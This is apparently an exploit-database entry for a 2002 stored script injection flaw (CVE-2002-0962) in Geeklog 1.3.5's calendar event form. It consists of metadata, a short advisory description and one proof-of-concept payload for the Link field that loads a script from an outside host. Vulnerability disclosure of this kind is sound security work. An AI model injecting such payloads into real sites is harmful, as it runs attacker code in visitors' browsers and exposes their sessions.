Geeklog 1.3.5 - Calendar Event Form Script Injection

Author: Ahmet Sabri ALPER
type: webapps
platform: php
port: 
date_added: 2002-06-10  
date_updated: 2012-09-26  
verified: 1  
codes: CVE-2002-0962;OSVDB-8075  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 21528.txt

source: https://www.securityfocus.com/bid/4974/info

Geeklog does not sufficiently sanitize script code from form fields, making it prone to script injection attacks.

Attacker-supplied script code may potentially end up in webpages generated by Geeklog and will execute in the browser of a user who views such pages, in the security context of the website.

Link input($url) :&lt;scriptsrc="http://forum.olympos.org/f.js">Alper&lt;/script&gt;